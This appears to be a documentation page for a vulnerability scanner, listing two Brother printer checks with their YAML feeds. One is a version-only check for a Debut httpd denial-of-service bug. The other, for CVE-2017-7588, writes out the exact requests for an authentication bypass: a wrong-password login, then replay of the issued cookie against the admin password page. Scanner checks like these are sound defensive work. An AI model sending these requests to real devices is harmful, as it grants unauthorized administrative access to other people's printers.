Brother — 2 vulnerability checks

noctis ships 2 vulnerability checks for Brother, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Brother Devices Web Authorization Bypass

CVECVE-2017-7588
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/brother/CVE-2017-7588.yaml

Most Brother devices' web authorization can be bypassed through a trivial bug in the login process: a login POST with an incorrect password still returns an AuthCookie that the device treats as authenticated. Submitting a wrong password and replaying the resulting cookie against /admin/password.html grants access to the administrative configuration without valid credentials.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /general/status.html HTTP/1.0
  2. Checks status_resp.banner for (?is)HTTP/1\.[01] 200.*LogBox"\s*name="([A-Za-z0-9]+)"
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /general/status.html HTTP/1.0
  6. Checks login_resp.banner for (?is)Set-Cookie:\s*AuthCookie=([0-9a-zA-Z]+).*<title>Brother
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET /admin/password.html HTTP/1.0
  9. Checks admin_resp.banner for (?is)HTTP/1\.[01] 200.*<title>Brother.*type="password"\s+class="passw… → finding QoD 75: Authorization bypass confirmed: a wrong-password login to /general/status.html issued AuthCookie=…, which granted access to the admin passw…

References:

Feed source — tests/vulnerabilities/brother/CVE-2017-7588.yaml
# Brother Devices Web Authorization Bypass — CVE-2017-7588
#
# Most Brother devices expose a web management interface whose login process
# contains a trivial authorization bug: a login POST issues an authenticated
# AuthCookie even when the submitted password is WRONG, and that cookie is then
# accepted for protected admin pages. This lets an attacker reach the device's
# administrative configuration (e.g. the password-change page) without knowing
# any credentials.
#
# Detection faithfully ports the four-step flow of OpenVAS/Greenbone NASL
# 2017/gb_brother_mfc_bypass_vuln.nasl (GPL-2.0-only):
#   1. GET /general/status.html — require HTTP 200 and extract the login
#      password field name from  LogBox" name="([A-Za-z0-9]*)"
#   2. POST /general/status.html with  <field>=xyz&loginurl=/general/status.html
#      (a deliberately WRONG password) — require a Brother page (<title>Brother)
#      and capture the issued AuthCookie (must be non-empty).
#   3. GET /admin/password.html carrying  Cookie: AuthCookie=<captured>
#   4. Report ONLY if that admin page (HTTP 200, <title>Brother) exposes the
#      administrative password field  type="password" class="password" ... name="..."
#      i.e. the wrong-password cookie actually granted admin access.
#
# The finding keys on the authenticated admin-page content reached with a
# wrong-password cookie — the real authorization-bypass signal — not on the mere
# presence of a session cookie. Raw response text (status line + Set-Cookie
# header + body) is required, so tcp_connect + resp.banner is used throughout
# (tcp_connect auto-wraps TLS for https). QoD 75 (authenticated-area content
# exposure via credential-less bypass).
uid: 7e3c1a9d-5b24-4f87-a0e6-9c8d2b4f1a63
name: "Brother Devices Web Authorization Bypass (CVE-2017-7588)"
description: |
  Most Brother devices' web authorization can be bypassed through a trivial bug
  in the login process: a login POST with an incorrect password still returns an
  AuthCookie that the device treats as authenticated. Submitting a wrong password
  and replaying the resulting cookie against /admin/password.html grants access
  to the administrative configuration without valid credentials.
cves: [CVE-2017-7588]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [brother, printer, mfc, auth-bypass, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-7588"
  - "OpenVAS/Greenbone NASL 2017/gb_brother_mfc_bypass_vuln.nasl (GPL-2.0-only)"

steps:
  # Initialise the gating flags so later conditions never throw on an
  # undefined variable (an undefined var in a condition throws and the step is
  # silently skipped).
  - id: init-field-found
    action: set_var
    var_name: field_found
    var_value: false
  - id: init-cookie-found
    action: set_var
    var_name: cookie_found
    var_value: false

  # Step 1 — fetch the login/status page and extract the password field name.
  - id: status-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /general/status.html HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: status_resp

  # Require HTTP 200 and the LogBox login field; capture the field name.
  # (?is): case-insensitive + dot matches newlines so the pattern can span the
  # status line and the body of the raw response.
  - id: extract-field
    action: match
    source: status_resp.banner
    pattern: "(?is)HTTP/1\\.[01] 200.*LogBox\"\\s*name=\"([A-Za-z0-9]+)\""
    store_as: field_match
    on_match:
      set_vars:
        field_found: true

  # Pull the captured field name into a flat string variable for templating.
  - id: field-name
    action: script
    code: 'field_match["captures"][0]'
    store_as: field_name
    condition: "field_found == true"

  # Compute the exact Content-Length for the login body (the field name length
  # is device-dependent, so it must be computed rather than hard-coded).
  - id: login-length
    action: script
    code: 'strlen(field_name + "=xyz&loginurl=/general/status.html")'
    store_as: login_len
    condition: "field_found == true"

  # Step 2 — POST a WRONG password. A vulnerable device answers with a Brother
  # page and sets an AuthCookie regardless of password correctness.
  - id: login-probe
    action: tcp_connect
    port: "{{port}}"
    send: "POST /general/status.html HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{login_len}}\r\n\r\n{{field_name}}=xyz&loginurl=/general/status.html"
    timeout_secs: 10
    store_as: login_resp
    condition: "field_found == true"

  # Capture the AuthCookie, but only from a genuine Brother response and only if
  # the cookie value is NON-EMPTY (an empty AuthCookie=; is what a logout/unauth
  # response sets and must not be treated as a session).
  - id: capture-cookie
    action: match
    source: login_resp.banner
    pattern: "(?is)Set-Cookie:\\s*AuthCookie=([0-9a-zA-Z]+).*<title>Brother"
    store_as: cookie_match
    condition: "field_found == true"
    on_match:
      set_vars:
        cookie_found: true

  - id: auth-cookie
    action: script
    code: 'cookie_match["captures"][0]'
    store_as: auth_cookie
    condition: "cookie_found == true"

  # Step 3 — replay the wrong-password cookie against the protected admin page.
  - id: admin-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /admin/password.html HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: AuthCookie={{auth_cookie}}\r\n\r\n"
    timeout_secs: 10
    store_as: admin_resp
    condition: "cookie_found == true"

  # Step 4 — the authorization-bypass proof: the admin password-change page
  # (HTTP 200, <title>Brother) exposes its password field when reached with the
  # wrong-password cookie. This is the real exploit signal.
  - id: confirm-bypass
    action: match
    source: admin_resp.banner
    pattern: "(?is)HTTP/1\\.[01] 200.*<title>Brother.*type=\"password\"\\s+class=\"password\"[^>]*name=\"[^\"]+\""
    condition: "cookie_found == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Authorization bypass confirmed: a wrong-password login to /general/status.html issued AuthCookie={{auth_cookie}}, which granted access to the admin password page /admin/password.html (HTTP 200, <title>Brother, password field exposed) without valid credentials."
      stop: true

Debut embedded httpd <= 1.20 (Brother printers) Denial of Service

CVECVE-2017-12568, CVE-2017-16249
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectiontcp_connect, script, match · highest QoD 70
Feedtests/vulnerabilities/brother/debut-httpd-dos.yaml

The Debut embedded web server shipped in Brother printers and multifunction devices, up to version 1.20, can be made to hang by a remote unauthenticated attacker: a single malformed HTTP POST request blocks the web server until it eventually answers with an HTTP 500 error (CVE-2017-16249), and a large amount of HTTP traffic hangs the printer (CVE-2017-12568). While the server is hung, the web interface is unreachable and network print jobs are blocked.

The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services), reads the `Server:` response header and reports the host when it advertises `debut/1.20` or an older Debut version. Later releases (such as `debut/1.30`) and other servers are not reported.

This is a version check, on purpose: the only way to confirm the flaw is to send the denial-of-service request itself, which would hang the device, so it is never sent. The test only reads the response headers of the home page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Checks ver.version for ^[0-9] → finding QoD 70: Server header '…': Debut embedded httpd … is 1.20 or older (hang via a malformed POST or a request flood; not sent, it would hang the devic…

References:

Feed source — tests/vulnerabilities/brother/debut-httpd-dos.yaml
# Debut embedded httpd <= 1.20 (Brother printers) — denial of service,
# CVE-2017-12568 (request flood hangs the printer) and CVE-2017-16249 (one
# malformed POST hangs the web server until it answers 500).
#
# Ported from OpenVAS/Greenbone NASL 2017/gb_debut_dos_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140295, GPL-2.0-only), which reports
# `debut/([0-9.]+)` <= 1.20 found anywhere in the response headers.
#
# Same version scope as the NASL (1.20 and older; 1.30 and later are not
# reported). Better than the NASL: only Server: lines of the header block are
# searched, case-insensitively (a "debut/" string in a cookie, a Location or the
# body is ignored), the version is compared numerically (1.20.0 counts as 1.20,
# 1.20.1 does not), raw tcp_connect so a non-conformant embedded reply is not
# dropped by an HTTP client, and HTTPS services are covered too.
#
# No benign proof exists: both bugs are denials of service, so confirming them
# would hang the printer and block print jobs. This feed never sends the
# malformed POST nor a request flood: one plain GET / only.
uid: 23b1130f-d5e1-4c39-9d6c-bfb2d90d0260
name: "Debut embedded httpd <= 1.20 (Brother printers) Denial of Service"
description: |
  The Debut embedded web server shipped in Brother printers and multifunction
  devices, up to version 1.20, can be made to hang by a remote unauthenticated
  attacker: a single malformed HTTP POST request blocks the web server until it
  eventually answers with an HTTP 500 error (CVE-2017-16249), and a large amount
  of HTTP traffic hangs the printer (CVE-2017-12568). While the server is hung,
  the web interface is unreachable and network print jobs are blocked.

  The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services),
  reads the `Server:` response header and reports the host when it advertises
  `debut/1.20` or an older Debut version. Later releases (such as `debut/1.30`)
  and other servers are not reported.

  This is a version check, on purpose: the only way to confirm the flaw is to send
  the denial-of-service request itself, which would hang the device, so it is
  never sent. The test only reads the response headers of the home page.
cves: [CVE-2017-12568, CVE-2017-16249]
cvss: 7.5
severity: high
confidence_base: 0.30
category: exposure
tags: [brother, debut, printer, iot, dos, version-check, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-12568"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-16249"
  - "https://gist.github.com/zaee-k/de42a5d40661f9b6123a65c13e82aac8"
  - "https://www.exploit-db.com/exploits/43119"
  - "OpenVAS/Greenbone NASL 2017/gb_debut_dos_vuln.nasl (GPL-2.0-only)"

steps:
  # 1 — one plain request; only its response headers are used.
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # 2 — look for debut/<version> in every Server: header of the header block,
  #     and compare it with 1.20 numerically.
  - id: version
    action: script
    store_as: ver
    code: |
      let out = #{ vulnerable: false, version: "", server: "" };
      if type_of(resp.banner) == "string" {
        let head = resp.banner;
        let cut = stridx(head, "\r\n\r\n");
        if cut < 0 { cut = stridx(head, "\n\n"); }
        if cut >= 0 { head = substr(head, 0, cut); }
        for raw in split(head, "\n") {
          let line = eregmatch("^server:[ \\t]*([^\\r]*)", raw, true);
          if line.len() < 2 { continue; }
          let m = eregmatch("(^|[^a-z])debut/([0-9]+)\\.([0-9]+)((\\.[0-9]+)*)", line[1], true);
          if m.len() < 5 { continue; }
          let major = int(m[2]);
          let minor = int(m[3]);
          let rest = m[4];
          let extra_zero = rest == "" || ereg("^(\\.0+)+$", rest);
          let vuln = major < 1 || (major == 1 && minor < 20) || (major == 1 && minor == 20 && extra_zero);
          if !vuln { continue; }
          out.vulnerable = true;
          out.version = m[2] + "." + m[3] + rest;
          out.server = line[1];
          break;
        }
      }
      out

  - id: vulnerable_version
    action: match
    condition: "ver.vulnerable == true"
    source: ver.version
    pattern: "^[0-9]"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 70
        evidence: "Server header '{{ver.server}}': Debut embedded httpd {{ver.version}} is 1.20 or older (hang via a malformed POST or a request flood; not sent, it would hang the device)."
        remediation: "Update the printer firmware to a release whose web server reports Debut 1.30 or later, and restrict access to the printer's web interface to trusted management hosts."

View these feeds on GitHub